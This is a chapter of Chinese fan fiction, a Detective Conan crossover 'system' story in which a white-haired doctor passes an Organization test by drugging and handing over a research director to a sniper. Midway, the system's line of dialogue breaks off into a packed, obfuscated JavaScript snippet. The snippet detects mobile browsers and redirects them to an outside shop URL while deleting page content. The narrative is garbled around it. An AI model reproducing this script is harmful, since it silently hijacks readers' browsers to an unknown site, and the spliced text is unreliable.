头孢用力点头:【没错,我会问她喜不喜欢魔女菌这个昵称。不过鉴于她很忙,或许下次联络时我就会问。】 系统:【???】 没等系统尖锐爆鸣,头孢的手机震了两下。接通后,贝尔摩德慵懒的嗓音传来: “晚上好。今天过得如何?” “你都知道了。”头孢陈述道。 另一端的女人轻笑:“当然。我接下来要给你一点组织生活小技巧——是不是该谢谢我?” 头孢思考了两秒,诚恳回答: “谢谢你,魔女菌。你喜欢这个名字吗?” 贝尔摩德:“?” 系统:【啊啊你怎么能这么抽象啊啊啊!】 7. 七颗头孢 第二天早八点,安室透准时来到了医务室。 墙面没被泼漆,门锁完好无损。 在敲了三声后无人应答,安室透这才推开门,就被一股消毒水味糊了一脸。 桌面上的医疗器械被擦拭干净,地砖亮得能照清人脸,原本积灰的房间也彻底改头换面。而这一切改变的起源则站在房间中央,让安室透的心为之一颤。 “……你穿的什么?” 他声音卡在喉咙里,久久不能回神。 视线尽头,昨日穿着还算正常的白发青年换上了一套覆盖全身的白色防护服,护目镜、过滤面具一应俱全,手里还提着一台小型喷雾器。 听到声响,对方转身,声音透过面具闷闷传出: “早上好,金毛菌。这是在魔女菌的提示下临时准备的考核战袍,你觉得怎么样?” 安室透太阳穴突突直跳:“……脱了。” 这里是犯罪组织,不是特摄片拍摄现场!谁会穿成宇宙人一样去做考核任务啊!! 以及魔女菌又是什么?贝尔摩德? 按住抽搐的眼角,安室透深吸一口气:“贝尔摩德是怎么跟你形容这份工作的?” “她说工作内容是治疗病变细胞。” 安室透撇撇嘴,“真是奇怪的口癖……难以想象你们认识的过程。” 头孢认真叠好防护服,看向那对紫灰色的眼,语气平静:“是我救了她。” “救?”金发男人一挑眉。 觉得没什么不能讲的,头孢如实相告:“是。上周我去医院面试失败,回公寓时碰见她被抢劫,于是我把坏细胞的枪缴械了。” 安室透大概猜到了结果:“所以她事后问你要不要工作,你就答应了?” “她承诺的工资是医院的五倍,而且组织有完善的医保。” 安室透:“……” 这一刻,安室透对贝尔摩德的道德底线有了新的认知——这女人竟然连救命恩人都能骗进来打工! 他在组织待了20年,怎么不知道有医保?而且别人让你去工作你就去了?青岛纯生的戒备心简直堪比一只成年香蕉! ……也是,昨天他还以为青岛纯生拒绝田纳西的便当,是怕田纳西下毒,结果人家只是觉得冷食不健康。 不过,青岛纯生也是被意外卷入组织的人么。 心里嘟囔一句,安室透的态度缓和些许: “走吧,事不宜迟,任务内容路上再说。” 得赶在田纳西来之前离开。那家伙因为加拿大受伤,最近和对方一起躺平无所事事,骚扰新人的时间充足得很。 尽管头孢的武力值高得吓人,可他被贝尔摩德拉进来是因为救命之恩,职业又是医生,故而这次的考核任务并不难,只是查看他的能力以及是否忠心而已。 “上田制药第三研究所,目标人物长谷川隼人,他是研究所的所长,同样负责一个极有潜力的药物研发项目。” “不过由于之前的人打草惊蛇,长谷川已经两周没有离开研究所,警视厅也在试图接触他,所以我们要在警方行动前解决对方。” 马自达停在路边,安室透从储物格抽出文件夹递给副驾驶,开始说明: “你的任务是以新研究员的身份潜入研究所,接近长谷川,窃取研究资料,然后在中午十二点整将他引到四楼阳台B区。” 头孢翻开文件夹,里面是研究所平面图、长谷川的照片和执勤表,最后一页夹了一块U盘。 “我把车停在这里,还有一段路你走过去。”安室透将一副金边眼镜递给他,一边补充: “需要黑掉监控就给我个信号,拿到研究资料之后,你只需要把人带到指定位置,其他不用管。” 警视厅要保的人啊…… 头孢接过眼镜戴上,是无度数的平光镜。他想了想,突然开口: “狙击手是苏格兰?” 安室透瞥了他一眼,“贝尔摩德总算告诉了你有用的情报。” 看来她对这位救命恩人也不是那么不在乎。 “不,其实是我看到了他手上的茧。”头孢回忆,“狙击手的茧和惯用手|枪的人位置不一样。” 端详着对方一闪而过的怀念,安室透眯起眼,“你对枪很熟悉?” 头孢很坦诚,“我之前在美国。” 安室透:“…难怪。” 在美国啊,那太正常了,不玩枪就会被别人玩。可既然青岛纯生之前就在美国,贝尔摩德也在美国,那女人怎么不把人放到身边看管? 没再追问,安室透将车门解锁,最后叮嘱:“记住,十二点整,阳台B区,如果任务失败你知道会有什么后果。” “明白。”头孢解开安全带,却在推门前动作一顿,“我能打个电话么?” “打给谁?” “之前住的酒店附近的便利店。”头孢面色如常,“来东京后这三天我习惯中午订他家的速食套餐C,但搬到医务室后出门时忘订了,可以么?” 讲究还挺多。不过这个安室透倒无所谓,“打吧。” 他听白发青年用平静的语气订购了一份速食套餐C,不要葱,米饭要硬一点,还不要水。 接线的店员声线模模糊糊传出来,似乎是个十分低沉的男声,还没等安室透听清,白发青年就挂断电话,推开车门。 “回见。” “好,稍后联系。” 安室透目送他走远,按下耳机:“苏格兰。” 一封短讯躺到收件箱:[特别监视?] 安室透温和了眉眼,“是。接下来就拜托你了。” 他本没必要告诉青岛纯生,警方想要接触长谷川的,可他要试试这人对警察的反应。 如今看来,要么青岛纯生与警方无关,要么就是对方演技太好。那么接下来这段时间,如果青岛纯生完成任务,就暂且证明其忠于组织。 而如果对方试图在任务中留下活口,或是行动异常…… 那可就有意思了。 * 直接以研究员的身份明目张胆地晃进研究所,头孢在前辈的带领下,很快便与长谷川隼人见了面。 系统苦口婆心:【我们要讨好长谷川,让他——】 头孢一推眼镜:“长谷川先生,您怎么看上去一脸倒霉样。” 系统:【啊啊啊啊啊!】 面对直白问候,前面的前辈脚下一滑,长谷川隼人则愣了一下,倒没有恼怒,反而无奈打了个哈哈: “或许是又通宵了吧……你是新来的山田君?还真是直爽的性子啊。” 前辈一脸抱歉:“啊哈哈,是啊,山田君比较直接……” 长谷川笑了,“直接点好,现在太多人说话绕弯子了。跟我来实验室吧,上午可以就我们两个,不过你不熟悉进度,在我旁边帮忙就好,我有一组数据要重做。” 头孢颔首,“明白。” 长谷川表现得十分好说话,头孢便也顺着对方来到实验室,只有系统懵了: 【等等!你真要跟着做实验?组织可是让你早点搞到资料去汇合啊。】 头孢一边熟练地清洗器皿,一边在脑中回应:【只有取得信任,他才会暂时离开实验室给我操作空间,不是么?】 现在距约定时间还有两小时,况且—— 【我不打算让长谷川死。】 系统一愣:【诶?什么意思?】 头孢没有回答。 他将烧杯放到处置箱里,在监控和长谷川看不到的死角手腕一翻,系统出品的超小针筒就出现在指缝间,又借着取药的时机,他绕到专注实验的长谷川身后。 十分钟后,头孢耳边传来了长谷川有些尴尬的声音: “嘶…!抱歉山田君,我去下洗手间。剩下几个数据拜托你帮我记一下。” 头孢认真点头,“请放心。” 看着目标匆匆离开的背影,头孢拎着烧杯走向实验室隔间的办公室,一边敲敲耳机通知安室透,脑海中回答系统: 【这样就行了。】 系统叹为观止:【你昨晚兑换[强力无痕泻药]就为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149333|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这?!】 不对啊。昨晚贝尔摩德也没跟头孢说任务内容,难不成头孢料事如神? 【倒也不是。】 头孢扫了眼已然停止工作的监控,用从发小那学来的撬锁技能顺利捅开了门锁,钻进办公室,拷贝了研究资料就退了出去,在系统的期待下解释: 【因为你的商城只有泻药打折。】 系统:【……那也不用这么大喘气吧!】 果然,先前它觉得头孢靠谱就是错觉。这孩子到底什么环境下长大…… 不对,这就是它一把屎一把尿养大的孩子啊! 瞬间套上滤镜,系统再次怜爱了:【这次就原谅你了,接下来你打算怎么办?】 【接下来会有人安排的。】 系统:【?】 什么安排?它怎么不知道? 疑惑间,突然门外一阵喧闹。头孢立刻放下手里的烧杯,拉开门,顿时浓烟涌入。 “着火了!!” “快去灭…不行,火势太大了!” 不知具体方位的火情扩散得很快,门外的白大褂们惊恐逃窜,大声呼喊。 耳机里,安室透的声音难得紧绷:“你那边怎么回事?” “只是着火了。”头孢很淡定。 安室透:??? 什么叫只是着火了?这根本不在说好的计划里! 安室透立即给四百码外天台上的狙击手发去消息,不出意外得到了四楼有火情、还不小的反馈,握紧了手机。 四楼就是青岛纯生所在的实验室楼层,所以他才让对方把目标引去四楼阳台……这火情怎么这么巧! [密切注意阳台的动向。] 发了条消息,安室透迟疑片刻,还是将车开到阳台那边。 他只是不想失去一个或许会好用的副手而已,而且青岛纯生是贝尔摩德的人,怎样都不能让对方死在考核里。 与此同时,整个四层都陷入到浓烟之中。 火势起得太快、太隐蔽,再加上这一层都是实验室,有很多危险药品,后续必然有连锁爆炸,如若不及时离开后果不堪设想。 知道这一点,距离四百码外的天台上,苏格兰眯起眼,滤掉无关的干扰,终于在十秒后等到了阳台门被粗暴撞开。 浓烟如决堤般汹涌而出,瞬间吞噬了阳台大半空间,可他依旧捕捉到了那头显眼的白发,以及对方身前的人影。 ——粗眉、黑色短发、眼袋大得垂到鼻子,的确是长谷川没错。 对方似乎被青年钳制住了手臂,脸上神色惊恐,后腰上有什么闪亮亮的东西抵着,苏格兰看出是手术刀。 而白发青年则满脸冷漠,仿佛根本不在乎身后夺命的浓烟,也不在乎身前人的性命,只是一步步推着中年人走上了阳台边缘。 他们站到了预定的狙击点。 苏格兰指尖搭在扳机上,直至中年人尖叫着被白发青年往前一推,十字星对准长谷川的额头,扳机扣动,子|弹疾射而出! “——砰!!” 巨大的轰鸣被距离柔化开。 镜头里,长谷川向后猛地一仰,额前炸开一团血花,身体像突然被抽掉了所有骨骼,软塌塌地倒在阳台的地砖上,再无动静。 烟雾被子|弹扰动。 阳台上,只剩一人独立。 白发青年缓缓抬眸,隔着四百码的距离、硝烟与尚未散尽的死亡气息,望进苏格兰的眼里。 准镜之下,苏格兰甚至能透过金边眼镜,看清对方雪白的眼睫、睫毛阴影下敛起的双眼。 那双黑眸平静得宛如深渊,没有任务完成后的惊喜,没有间接促成一条人命逝去的动摇,甚至没有烟雾与呛咳带来的生理性眼泪。 他就那么看着,而后从容地从口袋里取出一片独立包装的湿巾,擦掉脸颊上的一点猩红,又将湿巾放入包装里。 做完这一切,对方才重新抬眼,朝着他的方向轻轻颔首,同时点点耳机—— “合作愉快。” 白发青年比了个口型。